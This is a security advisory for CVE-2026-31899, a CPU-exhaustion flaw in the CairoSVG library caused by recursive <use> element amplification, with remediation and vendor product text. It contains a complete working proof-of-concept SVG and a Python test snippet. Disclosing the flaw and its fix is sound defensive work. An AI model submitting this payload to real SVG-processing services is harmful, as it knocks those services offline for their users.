CVE-2026-31899 is a high-severity (CVSS 7.5) CWE-674 vulnerability in cairosvg. A fix is available for cairosvg — see the affected versions and patch details below.
CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-31899.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-31899 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
cairosvgReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Kozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py (line ~335). This causes CPU exhaustion from a small input.
Severity
High — CVSS 3.1: 7.5
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Vulnerable Code
File: cairosvg/defs.py (line ~335), function use()
The use() function recursively processes <use> elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.
Impact
- 1,411-byte SVG payload pins CPU at 100% indefinitely
- Memory stays flat at ~43MB — no OOM kill, process never terminates
- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able
- Amplification factor: O(10^N) rendering calls from O(N) input
Proof of Concept
Save as poc.svg and run timeout 10 cairosvg poc.svg -o test.png:
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
Expected: timeout kills the process after 10 seconds (it never completes on its own).
Alternatively test with Python:
import cairosvg, signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
Suggested Fix
Add recursion depth counter to use() function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.
References
Credit
Kai Aizen (SnailSploit) — Adversarial AI & Security Research
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | cairosvg | all versions | 2.9.0pip install --upgrade 'cairosvg==2.9.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for cairosvg, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update cairosvg to 2.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-31899 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-31899 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-31899. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-31899 in your dependencies?
O3 Security finds CVE-2026-31899 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.